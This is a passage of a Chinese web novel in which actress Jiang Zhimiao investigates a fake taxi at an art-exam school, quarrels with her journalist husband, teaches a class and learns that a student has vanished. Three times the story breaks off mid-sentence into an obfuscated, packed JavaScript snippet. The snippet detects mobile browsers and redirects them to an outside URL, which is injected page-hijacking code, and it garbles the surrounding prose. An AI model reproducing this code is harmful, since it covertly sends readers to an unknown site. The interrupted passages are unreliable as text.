江知渺连连摆手,“我就不误人子弟了,您也知道,我在学校的时候就不怎么听话,进了娱乐圈也没少惹麻烦,拿我当反面案例还差不多。” “你就不用跟我谦虚了,现在全国十四亿观众,谁没看过你的作品?这届学生来报道的时候,就有不少在‘偶像’那一栏里填你的名字的,我看,你来给他们传授传授经验,比找那些学院派的艺考老师更有效果!” 她又推拒了几番,倒不是不肯临时做一做艺考辅导老师,只是真的担心自己误导了这些白纸一样的少男少女们,更何况最近网络上她的舆论层出不穷,总归不好张扬。 可颜洪坚持要请她上两节课,连上课时间都帮她选在了今明两天,不耽误她自己的行程,江知渺也就不好意思再推,应了下来。 两节课都排在下午,趁着午休时间,江知渺准备在“艺心”里转转,找找关于那辆假出租车的线索。 周屹泽告诉她那辆出租车的车牌号在车管系统里查不到的时候,她其实并不惊讶。既然杀害柏霆宇的真凶要把嫌疑甩到她的头上,那就不可能留下这种纰漏供她追查。 出乎意料的是,尽管并不知道她调查这辆车有什么目的,周屹泽还是给她提供了一个有用的线索:市民自发拍照上传的交通违规行为检举线索库中,曾有人举报这辆车在“艺心”门口占道停车。不过,那张取证照片里车牌号拍摄得并不清晰,所以交警大队无法核实车主身份。 “AX92,1或7看不清楚,后面是5,最后一位是K或者X。”周屹泽给她念了一遍线索库中人工识别的车牌号。 “谢谢!”尽管只有25%的概率是她要找的那辆车,不过也总好过大海捞针。 一边说着,她就已经打开了笔记本电脑搜索“艺心”的位置,看到官网上颜洪熟悉的和善面孔时,江知渺的心也跟着放下了不少。 “知渺”,周屹泽一直没有说话,江知渺还以为他已经挂断了电话,突然冷不丁开口,把她吓了一跳,“虽然我不知道你在查什么,但如果有我能帮上你的,尽管开口。” 江知渺停下操纵鼠标的手指,指尖在键盘上无意义地轻点着,认真地考虑着他说的话。 客观上说,她认为自己有冤情,并且掌握了真凶的线索,的确应该第一时间告知警方,请求他们尽快侦破。 然而,从案发到现在已经过去了三周,兜兜转转,警方怀疑的视线还是停留在她的身上。 这一点江知渺倒也不难理解,毕竟在真凶的引导下,所有线索通通指向了她,唯一一个对自己有利的事件——程薇柔的自首,还被她自己亲口证实是假的。 电话另一头,隐约传来周屹泽凌乱的脚步声。不用他说,江知渺也知道他的心底该有多么纠结:一面是对她的信任,一面又是指向她的铁证如山。她不希望再让周屹泽为难了。 更何况,她还有一些猜测,一旦警方介入,就会变得异常复杂。 “注意安全。”周屹泽一直等到她主动挂断了电话,才低声说出了最后的一句嘱咐。 实际上,在给她回电话之前,周屹泽就已经把“艺心”的基本情况摸了一遍。他知道颜教授与江知渺的关系不错,“艺心”这十年来也一直经营得很好,各项手续证件都齐全,看上去倒是没有什么问题。 但为了一辆剐蹭的车,江知渺会查得这么深,周屹泽难以被她说服。犹豫再三,他还是打开内网,调出了颜洪的信息表。 根据周屹泽提供的线索,柯妙妙的狗仔蹲了三天,真的在“艺心”门口看到了那辆假出租车。 按理说,出租车泊客的起点终点都是随机的,可这辆车却像是专门接送着乘客往返于“艺心”和其他地点的班车,常常是在“艺心”门口等待,接上乘客后离开一段时间,再载着同一个乘客回到“艺心”。 于是,趁着《流年似水》剧组转场,前三天没有她的戏份,江知渺马不停蹄地赶到了“艺心”。 她从校长室走出来,在走廊里一间一间教室看去,恰好在钢琴教室门口,遇到了邵聿一行四人,刘恪辰正鬼鬼祟祟地从教室门上的玻璃窗向里张望,其他三个人靠在走廊的墙壁上,对着伍旸手里的平板电脑小声讨论。 李璟意最先发现了她的到来,她大大方方地熄灭了平板电脑的屏幕,抱在胸前,右手朝她挥了挥,“知渺!” 突然抬高的呼唤惊动了教室内的学生,门板玻璃内侧忽地冒出一张愤怒的脸,吓得刘恪辰嗷嗷乱叫。门随之“砰”地一声打开了,从里面气冲冲地走出一个穿着一身黑衣服的女孩,质问道:“你们在干什么!” 李璟意一把抓住她的手腕,另一只手举起胸前挂着的记者证,“国立电视台,李璟意,可以跟你聊聊吗?” 女孩大力挣扎起来,手腕上挂的一串手链互相碰撞,在午间寂静的走廊里发出清脆的回响。可到底还是年轻,无论她用多大的力,也没法挣脱李璟意的束缚,反而被她推着走回了教室里。 一片混乱中,江知渺这才认出,这就是假出租车接送的那个学生。 “等等!”江知渺紧走两步赶了上去,搭上李璟意抓着她的那只手,“李记者,‘艺心’是他们学习的地方,不是新闻台,你这是在做什么?” 李璟意眯起眼睛冲她无辜地笑了笑,“没什么啊,我只是想跟她聊几句,要不要回答我的问题,不也是她自己说了算吗?” 黑衣女孩很快就放弃了挣扎,她紧紧地咬着自己的下唇,把娇嫩的唇瓣咬得快要出血。江知渺劝不动李璟意,回头去寻找邵聿的身影,却发现他丝毫没有劝阻的意思,依旧站在门外,观望着这一切。 “……我们不接受采访。”谁都没有注意到的教室角落里,突然发出了一阵微弱的声音,所有人的目光投向那里,一个穿着米黄色连衣裙的女孩走了过来,拉住黑衣女孩的另一只手,摇头道:“我们拒绝接受一切采访。” 江知渺认出,她就是刚刚和颜教授在办公室里谈话的那个女孩,她眼角的泪痕还没有擦拭干净。 江知渺用指节敲了敲课桌,“李记者,你听到了吧,她们不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023091|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受你的采访。” 李璟意像没听见一样,依旧死死地握着黑衣女孩的手腕,双眼像鹰一样直直地盯着她低垂的脸庞,许久,用低沉的声线,缓缓问道:“你去VeilMansion做什么?” 问题问出的一瞬间,两个女孩猛地抬起头,眸光中满是讶异,江知渺也愣了一下,不可置信地看着面前的黑衣女孩。 “何思尔,我们已经耐心地等了你一整个上午,你不是躲到厕所就是托称有课,我已经拿到了你的课表了,这一周你都没有任何课程安排。” 李璟意松开手,尽管看上去非常用力,不过女孩的手腕上并没有留下痕迹,“现在,可以跟我们说说了吗?你,为什么会多次和冯炳同时出现在veilmansion?” VeilMansion,A市最最高冷的休闲会所,集娱乐、餐饮、住宿、会议多种功能于一身,实行最严格的会员制度,只有持其会员黑卡亦或是由会员亲自邀请才可进入。 江知渺不禁打量起面前这个叫做何思尔的年轻女孩来,她披着一头顺滑及腰的长发,轻盈的发尾随着急促的呼吸而起伏摇摆,每一根发丝都透露着不安和紧张,没被李璟意握着的那只手用力地抠着桌沿,指甲已经开始泛白,指尖不住地发抖。 不只是手,江知渺发现她全身都在剧烈地颤抖,下一秒,豆大的泪珠从她的脸颊滑落,消失在印着“艺心”logo的黑色T恤衣领里。 “不管你有什么顾虑,思尔,你放心,只要说出来,国立电视台一定会帮你的。”她的眼泪让李璟意的语气柔和下来,她收起了刚刚咄咄逼人的气势,倒像是变成了一个知心姐姐。 直觉告诉江知渺,国立电视台调查VeilMansion相关的事件,或许与柏霆宇有关,可她还是不忍逼迫这个惊恐万分的女孩。 “何思尔……”江知渺搭上她的肩膀,“你不愿意说,那就不说。” 李璟意叹了一口气,无可奈何地看向门口,邵聿接收到她的眼神,一步一步平稳地走到江知渺面前。独属于邵聿的气息和声音同时充斥了江知渺的五感,刹那间占领了她的整个世界。 “知渺,请你回避一下。” 她震惊得说不出话来,黑瞳瞬间放大,心底五味杂陈,茫然、惊讶、伤感、愤怒,太多太多的情绪瞬间爆发,让她陷入了严重的失语,江知渺只觉得眼前这个熟悉的男人变得分外陌生,不由自主地向后退了半步。 她努力想要从邵聿平静无波的面容中看出些身不由己,毕竟李璟意和他素来不和。她花了十几秒,耐心地等待他显露出一个为难的表情,她有自信能读懂他的神情的,作为演员、也作为他的妻子。 可没有,什么都没有。 她的面前似乎凝聚着一团雾气,江知渺硬着头皮走进雾中,却绝望地发现雾气之后还是白雾,越走越深,也越走越看不到尽头,更看不到尽头的他。 他们两人之间,早就生出了不可逾越的坚实屏障,那坚固的城墙在她不知不觉的时候搭建起来,直到现在才撞得她头破血流。 她好像顿时回到了十九岁的时候,李智元痛苦地捂着肿大的脸颊,他父亲李增指着她的鼻子,要求她向自己的儿子道歉。 孤立无援,退一步便是万丈深渊。 她毫不畏惧,瞪着李增,如初生牛犊,“我要是偏不道歉呢?” 江知渺挑起嘴角:“邵聿,我要是偏不回避呢?” 46. 决绝 邵聿无论如何也想不到,有一天他和江知渺竟然会像敌人一样对峙,犹如战场上你死我活的敌对双方,死死地护着自己阵营的大旗,不肯退让半步。 柏霆宇一案,除了与江知渺相关的一切,其他能称得上有价值的线索,也只有VeilMansion这条线了。 冯炳与未成年人多次出入高级会所,即便与柏霆宇之死毫无关联,作为一个新闻工作者,揭露这件事的真相也是责无旁贷。 可他没有办法和江知渺说出这一切,尤其是不能告诉她,台里要用柏霆宇案的调查表现来决定黄金档新闻主播的人选。他们两人都没有忘记五年前那个极其相似的场景,一道永远也无法愈合的疤痕,静静地躺在厚重衣物的遮挡之下,一旦触碰便疼痛难当。 不知该不该庆幸,竟然是江知渺点破了他难言的心思,她不顾在场所有人的注视,冰冷地问道:“邵聿,难道你还在怀疑是我杀了柏霆宇吗?” 此言一出,连李璟意都听不下去了,她冲着伍旸使了个眼色,让他和刘恪辰带着那两个女孩离开,把教室的空间全部留给了他们俩。 无人在场、无人倾听、无人窥探,邵聿愈发地无法回应江知渺的问题。 他用同样的问题扪心自问:我真的没有怀疑她是凶手吗?不希望她掺和到调查之中,仅仅是因为保密性吗? 答案再明显不过了:不,不是的。 他难以磨灭心底那簇名为怀疑的火苗,甚至随着时间推移,火苗越烧越旺,如地狱之火,无时无刻不在惩罚着他这个十恶不赦的罪人。 从同意与李璟意合作的那一刻起,他就把自己和江知渺栓到了一条船上——不是完全信任,而是,不再思索。 不去思索真凶究竟是不是她,不去质疑她的种种矛盾言行,他用一盏玻璃灯罩将心底的火苗完全笼罩,暂时的缺氧让火焰销声匿迹,他也终于得空喘息,装作正常人的样子,去调查那个未知的凶手。 然而此时此刻,任何一个人都可以轻而易举地掀翻那个脆弱的玻璃灯罩,在焰心触及新鲜空气的一瞬间,熊熊火焰复又燃起,以滔天之势将他好不容易构建起来的伪装烧为灰烬。 站在不灭之火中,他这才看清,那火焰的名字叫做“嫉妒”——拥有诅咒般的魔力,一旦萌发,就再也无法摆脱。 江知渺脸上不加掩饰的冷意更是让他走火入魔,邵聿又不合时宜地回忆起五月二十日那天的画面:烟花、星空、寂静山林,面前的这个女人,却如大地之母一般,将另一个男人包容进自己的怀抱之中。 温柔得他都想要落泪。 “你去寻找程薇柔的下落,根本不是想要帮我摆脱嫌疑吧?”江知渺轻笑一声,自嘲似的摇了摇头,“其实是你一直在怀疑我,希望找到一个比我嫌疑更大的人,这样你的心里就能好受一点。” 他几次急促地呼吸,又渐渐平复,江知渺绝望地等待着,他好像想要跟她说什么,想了想又觉得没必要。 等到她的耐心即将耗尽,邵聿还是没能理清自己的头绪,他只想立刻离开这个僵局,几乎是落荒而逃,直接转身向教室门口走去。 “邵聿。”江知渺本来不希望让他听出什么,可颤抖的声线实在太难平复,她深吸了一口气,努力稳住声线。 “你现在要是走了,我们,就彻底完了。” 可邵聿没做太多停留,五秒、三秒、抑或只是不假思索地听完了她的话,还是径直推开门,离开了教室,将她一个人留在里面。 江知渺脚腕一痛,顿时失去了全身的力气,扶住课桌,缓缓地坐在椅子上。 为什么,他们怎么会走到这一步呢? 她用双臂紧紧地环抱住自己,胸腔紧密的压迫让她仿佛再一次回到了几天前邵聿的拥抱中。 或许是来自程薇柔的信息爆炸与安眠药的作用,她刚刚苏醒,就生出一股强烈的不安全感。 而病床旁那个人熟悉的气息,刚好是她最渴求的解药。 未经任何思考,她的大脑刚刚确认了邵聿的身影,身体就迫切地抱住了他,毫无章法的凌乱的拥抱,但又极其投入的用力的拥抱。 她甚至听到自己的锁骨磕到了邵聿的肩膀,对方痛到条件反射的一声“嘶”,令她心情愉悦。 假如可以将时间停滞,让她从中选择一瞬,她一定会毫不犹豫地选择那一刻,尽管他们两人的心之间仍然隔着一层又一层的阻碍,但好像就在那个瞬间,阻隔只剩下了骨骼血肉。 所以,到底是哪里出了问题,他们是怎么走到这个无法转圜的境地的? 江知渺摊开手掌,捂住自己的眼睛,冰凉的掌心衬得眼眶微热,她努力回溯记忆,在那些与邵聿有关的记忆碎片中挑挑拣拣,最终还是拾起了五年前的那一片。 “你知道我一直想要成为新闻主播。” “我以为你懂的。” “让我梦想成真又残忍地夺走,江知渺,为什么连你也要践踏我?” 灼热的眼眶里渗出几滴冰凉的泪水,她屏住了呼吸,在回忆里拼命逃窜。整洁宽敞的教室显得太过寂寥,她只想立刻站起身来,逃离这个几乎凝固的空间。 “叩叩叩——”门外忽然响起一阵礼貌的敲门声,刚才那个窝在角落的娇小女孩推开门,探出头来,拘束地冲她鞠了一躬,“江……老师,颜校长让我来提醒您,半小时之后开始上课。” 江知渺沉下呼吸,轻轻抹平裙角的褶皱,将微微凌乱的长发整理到肩后,不慌不忙地点了点头,向她走去,“好,我知道了。” 她放弃了去找到一个理由,就像这五年间的无数次一样。至少,江知渺告诉自己,她还可以找命运的借口。 他们两个永远不肯低下头颅的人,命中注定不可能走到一起。记忆中那些美好却短暂的吉光片羽,权当是命运给他们开的一个玩笑。 “江老师。”在她即将跨出教室大门的时候,女孩用微弱的声音叫住了她。 “嗯?怎么啦?”这种老师与学生的身份令江知渺感到新奇,她忽然意识到自己从来没有饰演过老师的角色,因而面对这个将她视为老师的学生,只好尽力做到关怀备至,声音也柔和了下来。 “我……”女孩的眼神躲躲闪闪,终于在江知渺笑容的鼓励下,继续说了下去,“我有些问题想向您请教。” 于是他们坐回教室的桌椅上,江知渺将前方的椅子调转一百八十度,面向着她。 女孩双手紧握,虚搭在桌沿,手指不住地绞着,快要拧成一团麻花。 江知渺看出了她的紧张,于是笑了笑,轻松地说道:“我也是颜校长的学生,你叫我学姐吧。学妹,你叫什么?” “我叫龙晴。”她试探性地望向面前的女人,“学姐。” 随口聊了几句后,龙晴慢慢放松了下来,手指也不再胡乱纠缠,低声问道:“学姐,你喜欢做演员吗?” 江知渺毫不犹豫地点了点头,等待着她的下一个问题,很快龙晴就抛了出来:“为了成为一个演员,你可以付出多大的代价呢?” 这个问题,江知渺也曾问过自己:家庭、诚实、爱人,得到如今在娱乐圈中的地位时,她已经放弃了这么多难以割舍的美好。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034562|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时她也会怀疑,用这么多宝贵的东西去换一个视后的名头,这笔买卖到底是赚了还是亏了? 但面前的年轻女孩和她不同,她能够来到“艺心”准备艺考,说明家中并不贫穷,家人也支持她的梦想。 17岁的年纪总有着无限的可能,远远没有到“非要放弃什么才能继续走下去”的那一步。 “怎么会这么问呢?” 龙晴抬起一直低垂着的眼眸,轻轻吐出一口气,“我在想,是不是我其实根本不适合当演员。做演员很辛苦,要放弃很多东西,我好像并不能下定决心。” 江知渺了然地点了点头,握住她微凉的双手,“这个问题不难回答,龙晴,你现在跟着我去想象:假如让你放弃明年各大院校的艺考,回到学校参加高考,考上一所还不错的综合类大学。 多年以后,你的生活依旧幸福美满,有一个温暖的小家,稳定的工作,不愁温饱,但当你打开电视,看到一个二十岁的新人女演员一夜走红,你会觉得遗憾吗?” 龙晴清澈的黑色瞳孔骤然收缩,未知的恐惧让她的手指愈发冰凉,她非常用力地点头,言语间却没有任何笑意,“学姐,我明白了。” 江知渺欣慰地捏着她的肩膀,“龙晴,未来太远,究竟会发生什么,谁都无法预测。我在你这个年纪的时候,也曾担心自己将来没有立足之地。” “那,后来呢?”龙晴有一双充满天真稚气的圆眼睛,睫毛如稚童般纤长浓密,江知渺不由得想起了楚妍姝,她也有这样被保护得很好的清澈目光。 “后来我遇上了自己的伯乐,他给了我第一个角色,后来慢慢地,第二个、第三个角色就出现了。” “伯乐?” 江知渺轻轻点头,笑道:“是啊,修茂德导演是我的伯乐,假如那时没有他愿意用我这个无名无姓的小演员,也许现在我早就去做全职主妇了。” 她只是随口提了一句,却发现龙晴的反应远比她想象的强烈:她眼也不眨,墨色的黑瞳顿时黯淡下来,毫无生气,目光茫然地落在她的脸上,可根本没有聚焦,整个人变得呆滞而迟缓,一寸一寸地将自己的手从江知渺的手掌里抽了回去。 “龙晴,你怎么了?”江知渺皱起眉头,她不知道自己哪句话说错了。 龙晴过了好一会儿才回过神来,声音有气无力,“没事,学姐,我……”她提了提嘴角,勉强挤出一个微笑,“我就是担心自己不是千里马,更遇不到伯乐。” “别担心,只要你自己准备好,机会到来的时候,一定能够抓住的。” 江知渺非常清楚,对于这个年纪的女孩来说,演员是一个遥远的梦想,她说什么“你就是千里马”之类的话根本没有任何作用,反而是过来人残忍的敷衍。 和她聊了一会儿,龙晴的脸色似乎没有那么苍白了,她看了一眼墙上的挂钟,面带歉意,“抱歉学姐,耽误了你的时间。” “没关系,其实颜教授让我给你们讲课,我也只是分享自己的经验,之后如果还有什么想聊的,欢迎你随时来找我,今明两天我都在‘艺心’。” 江知渺跟着龙晴来到上课的教室里,距离上课时间还有十分钟,可教室里的学生只零星地来了三两个,龙晴向她解释道:“大家习惯踩点来上课。” 她表示理解,向龙晴借来纸笔,简单勾勒着一会儿要讲的内容大纲。逐渐接近上课时间,教室内果然热闹了起来,不时有几个学生好奇地跳到她面前,询问她是不是江知渺,向她要签名。 江知渺一一回应了,却没料到在上课铃声响起后,还有更加棘手的情况在等着她。 47. 授课 邵聿和李璟意从后门走进教室的时候,看到的便是江知渺双手叉腰,霸气十足地瞪着两个男生。 上课铃早在五分钟前就响过了,他们是被教室里一刻也没有停歇的吵闹吸引过来的。也不知道江知渺用了什么法子,学生们倒是安静下来了,可表现得却实在不像是要上课的样子。 两个男生面前摊着一桌扑克牌,双手握着手机,手指在屏幕上飞速移动,嘴上还在不停地交流,明显是在打游戏。 “我再说最后一遍,这两位同学,咱们正式开始上课,请放下手机,坐回到自己的座位上。”在场其他不熟悉江知渺的人或许听不出来,可邵聿却感受得到,这是她极力压抑愤怒的最后通牒,假如这时还去激怒她,恐怕就要引火烧身。 “怎么,只许州官放火,不许百姓点灯?”男生慵懒地挑起眼皮,斜睨着江知渺,嬉皮笑脸地说道:“我们也不能去什么高级会所,就是在教室里玩玩而已嘛。” 话音刚落,学生们立刻叽叽喳喳起来,谁都听出来他在影射江知渺的婚外情绯闻。 李璟意投来幸灾乐祸的眼神,邵聿倒是没打算为两个黄毛小子生气,只是在心里默默地为他画了个十字。 果然,下一秒,江知渺飞快地抬起手掌,朝他的脸上挥去,周围甚至都能感受到一阵微风,击打的力度难以估量。 那个男生也吓傻了,连人带椅子向旁边躲闪,脆弱的木椅失去重心,不受控制地往地面倒去,将他也一起掀翻在地,发出“轰——”的一声巨响,男生惨叫了一声:“哎呦!” 一切都发生在电光火石间,眼花缭乱的闹剧后,所有人才发现,江知渺早已将抬起的手掌控制在半空中,离他很远。 两个闹事的男生中,没说话的那个早就跳到了一边,而那个挑衅她的男生正狼狈地歪在地上,捂着肩膀喊痛。 江知渺占据了一秒前椅子的位置,随意地靠坐在课桌上,甩了甩自己的手腕,勾起一个极其艳丽的微笑,“既然觉得我是杀人犯——” 她突然走到男生的身边,优雅地提起裙摆,弯下腰身,将脸凑近他的耳畔,用近乎怜悯的眼神俯视着他。 黑色缎面长裙衬得她小腿的肌肤愈发透白,邵聿顺着长裙勾勒的曲线向上看去,饱满的唇瓣离男生红透了的脸颊只有几厘米远,他忍不住攥紧了手中的笔记本。 “那你为什么还要来招惹我呢?”江知渺轻笑一声,一把将他从地上拽了起来,“对于危险的人物,要记得敬而远之,这是本节课我要讲的第一个道理。” 经过这么一闹,任谁也不敢在课堂上造次了。李璟意捂着嘴,凑到邵聿面前,低声说道:“没看出来,你老婆还挺有手段的。” 邵聿望向讲台,江知渺正在白板写下“演员”两个大字,纤细的背影如同一株雪地青松,孤独地傲立在旷野之中,迎接风雪的挑战。 他想象着江知渺真正成为一名教师的样子,实际上这已经不是他第一次这样去想了,五年前江知渺已经开始往艺术类学校投简历,如果不是因为突然收到了修导的邀约,现在她应该已经是一位拥有五年教龄的教师了。 那时他就很难想象出江知渺当老师的样子,虽然她面对孩子也非常温柔,可有时她自己的思想就比孩子还跳脱活泼,那些天马行空的想象和创意,若是真的圈进一间四四方方的学校里,的确称得上屈才。 或许是五年来已经习惯了江知渺在荧幕上的样子,此时此刻邵聿更难将她与老师的身份联系起来了。她天生就该做一名演员,只有在摄影机前,她才能焕发全部的光彩。 “嗯,不过我还是觉得她更适合做演员。”语气里饱含着浓浓的骄傲,连他自己都没发现。李璟意瞥了他一眼,邵聿盯向讲台的专注目光有些肉麻,她忍不住翻了个白眼。 “斯坦尼斯拉夫斯基在《演员的自我修养》里说:‘演员是人类心灵的工程师,必须通过内在的真实体验和外在的技巧,将角色的灵魂转化为可见的形体’; 彼得·布鲁克在《空的空间》里说:‘演员在空荡的舞台上,只需一个动作、一个眼神,便能创造整个世界。他们是活生生的矛盾体——既是自己,又是他人’; 英国传奇演员约翰·吉尔古德在《演员和他的时代》里总结说:‘演员必须同时是诗人、学者和小丑——具备智慧、敏感与幽默,才能驾驭文本与观众’。” 江知渺走下讲台,“不同的人对于‘演员’有着不同的定义,你可以认为演员只是用身体的技巧进入表演状态,也可以认为演员是用身体和声音的极端表现力进行表达,但请大家相信,‘演员’、以及渴望成为‘演员’的你们,拥有与众不同的创造力。” “通过表演,你们可以让文字拥有自己的生命,你们是其生命的缔造者,更是被统治者。” 江知渺停下脚步,惊讶地发现教室最后排坐着邵聿和李璟意。目光与邵聿相对时,她的眼眸闪过一瞬间的慌乱,不过很快就恢复了正常。 她回到讲台上,视线郑重地扫过每一个学生的脸庞,“所以,请大家务必要保持自信,也务必要保持敬畏。” “不卑、不亢,这就是我想要传递给你们的、最重要的经验。” 她下意识向教室最后排望去,邵聿专注的目光险些灼烧了她的理智,她似乎看到邵聿的嘴角微微上扬,可没有隐形眼镜的辅助,她只当是自己看错了。 他又怎么可能会认同自己这番理想主义者的话语呢?毕竟当年自己为了继续做演员,亲手毁掉了他成为新闻主播的梦想。 江知渺背过身,擦掉白板上的字迹,下课铃声准时响起,她的视线条件反射地追向邵聿的方向,却被一窝蜂冲出教室的学生挡住了视线。 待到眼前恢复清净,邵聿的身影早就消失不见了,剩下空荡荡的教室,仿佛他从来就没有出现过。 “你觉不觉得”,李璟意冲伍旸刘恪辰招了招手,示意他凑过来,“这个‘艺心’的氛围不是那么的……积极上进?” “啊?”刘恪辰回想起刚才课堂上的闹剧,与周围学生们冷漠的神情,他点点头,“不过,距离联考校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048598|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考还有很长时间,又是假期,松懈点也正常。” “好吧,那应该是我老了,看他们浪费大好青春,心里就不舒服。”李璟意扶着额头叹息道。 刘恪辰从身后探出头来,“姐,你还老?你可是新闻部最年轻的资深记者,一般人要到四十岁才能评上,就连咱们台长也是三十五岁才评资深的,你才三十就拿到了资深!” 李璟意满意地打量着他,“啧啧啧,想不到邵聿这么一块石头,还能带出你这么会说话的新人啊。” 对她话里话外的嘲讽,邵聿没有心思去顾忌,李璟意刚才的问题,让他的内心隐隐感到不安。 ——这些艺考生,对艺术、对表演,实在有些过于漠然了。 十七八岁,正是天不怕地不怕,一心只追逐大好未来的年纪。他们放弃了文化课,为了学习表演来到“艺心”,这个选择本就大胆且义无反顾。 然而他非但没有感受到这些学生们的热情,反而到处都充斥着浮躁和散漫,对于眼前成功的演员前辈,他们好像在看行尸走肉,似乎那些绯闻更能吸引他们的兴趣。 尤其是刚才的课上,江知渺已经入行多年,可提到“演员”、“表演”、“演艺事业”,仍然充满了向往和追求,就连他们四个人也已经被她的分享深深地感染了。 但是,当他当时环顾四周,却惊讶地发现,没有人为她所说的内容而感到雀跃或是期待,就像在听与自己毫无关系的事情一样。 他们上午在“艺心”也和几个学生聊过,问及理想院校或是偶像时,大家并没有展现出太多的兴趣,还有人和他们说,反正都是做演员拍拍戏,考上哪个学校都一样。 即使“艺心”的中榜率非常高,他们在这里接受培训感受不到升学的压力和紧张,但为何会冷淡至此? 还有何思尔,她和冯炳频繁地共同进入VeilMansion,出于新闻伦理他不能妄下决断,可作为一个成年人,他对背后的原因也多多少少有着不好的猜测。如今看到“艺心”这样的氛围,他不得不重新去审视这件事了。 邵聿这才发现,尽管做了这么多年主持人,可他一门心思都在节目内容和效果上,偶尔接触到一些娱乐圈的艺人、导演和制片人,却对真正的娱乐圈一无所知。 “你现在要是走了,我们,就彻底完了。” 江知渺冷酷至极的判决依旧萦绕在耳畔,在他的心底蒙上了一层厚厚的尘埃,心头尚未愈合的伤口剧烈感染,痛得他捂住了心口。 是不是他们都一样,能够轻而易举地丢掉不需要的感情和情绪,只关注自己想要的结果? “救……救命!”何思尔的声音从“艺心”的宿舍区传来,很远就能听到她沉重的步伐。 邵聿和李璟意对视一眼,立刻加快脚步,迎向她跑来的方向。只见她披头散发,踉踉跄跄地跑向他们,在惯性的作用下勉强站稳,焦急的泪水就挂在眼角,脸色惨白,一副失了魂的样子,哆哆嗦嗦地将一张信纸递给他们: “龙晴……龙晴,她失踪了!” 48. 圆场 下午一点半开始的第一堂课,江之渺还看到龙晴和何思尔并排坐在一起,在那之后,大约从三点至五点半放学这段时间里,她们两人也是形影不离,一起上了两节课。 放学后何思尔想去健身房跑跑步,龙晴说要回宿舍换一身衣服再去找她,可一直到七点半,何思尔都没能等来龙晴。 她返回寝室,看到了龙晴桌上的白纸,断定她一定是离开了“艺心”,于是立刻就跑来向邵聿和李璟意求助。 她不安的模样把江之渺和颜洪都吸引了过来,颜洪驱散了围观学生,给他们专门找了一间空教室,听她将事情经过描述完,在场的所有人都默契地面面相觑。 “思尔,你先别着急,有没有可能是她出去买东西了?或者是她跟你说了自己要去做什么、但你暂时没想起来?”颜洪安慰道。 “不可能!”何思尔望着李璟意,斩钉截铁地回答:“她家不在A市,对这里不熟,自从来‘艺心’她就从来没有单独出去过。而且她的手机关机了,我根本联系不上她。” “这样啊……”颜洪微微皱眉,“不过你为什么看到那张白纸就觉得她是失踪了呢?” “因为!” 何思尔的话戛然而止,她低下头,右手用力地攥着那张白纸,大家等了很久也没等来下文。 她这幅欲言又止的样子让李璟意记者的直觉开始警惕起来,她拿过那张白纸,正反面仔仔细细地看了一遍,又放在灯光下细细打量,没有看出任何的字迹甚至是笔痕。 “何思尔,你说实话,龙晴到底去哪儿了?”她毫不留情地抛出质问,揽着何思尔肩膀的江知渺明显感觉到她全身震了一下。 “我们专门为了你才来到这里,但从上午开始,你就一直拒绝回答我们的任何问题。”李璟意走到何思尔面前。 “然而,仅仅过了一个白天,你联系不上龙晴后,第一反应却是来找我们——”她突然凑近,直勾勾地对上何思尔的眼睛,“你们,到底在隐瞒什么?或者说,你们在害怕什么,以至于对身边最熟悉的环境都无法信任,转而寻求我们这些陌生人的帮助?” 这一连串的分析让一旁的颜洪坐不住了,她少见地带了些怒气,“李记者这是什么意思?难道我还会害自己的学生吗?” 李璟意释然地笑了笑,“颜教授,我不是这个意思,您别多想。这个年纪的学生,很多心事不愿意跟老师家长诉说也很正常。” 忽地,她话锋一转,审视着何思尔,“不过,向记者求助,就是另外一回事了。” 尽管对李璟意问话的方式让她不敢苟同,可江知渺也不得不承认,她点明了这件事最大的疑点:龙晴消失,何思尔为什么第一反应是向电视台求助? 听到这儿,颜洪直接站起身来,露出一个了然的笑容,“思尔,我知道,有些事情你们不想让我知道,是害怕我会告诉你们家长。” 她站在教室门口,右手搭在把手上,“你放心,我不是那种会向家长告状的老师,既然你不想让我知道,没关系,我可以回避,你跟李记者说说你的想法。天已经晚了,重要的是赶紧找到龙晴。” 颜洪的离开并没能让何思尔多提供什么信息,无论李璟意怎么谆谆善诱或是咄咄逼人,她始终低着头,一言不发。 江知渺刚要开口说点什么缓和一下气氛,一直没有发言的邵聿就突然问道:“你知道龙晴可能去了哪里吗?” 这是明显的退让了,不去询问何思尔为什么出现在VeilMansion,更不去摸清她求助的目的,李璟意不满地瞥了他一眼,江知渺紧跟着附和道:“思尔,别担心,你有任何想法都可以告诉我们,我们帮你去找。” 邵聿愣了一下,没料到她还会帮着自己说话。江知渺并没有看向他,而是安抚着拍了拍何思尔的肩膀。 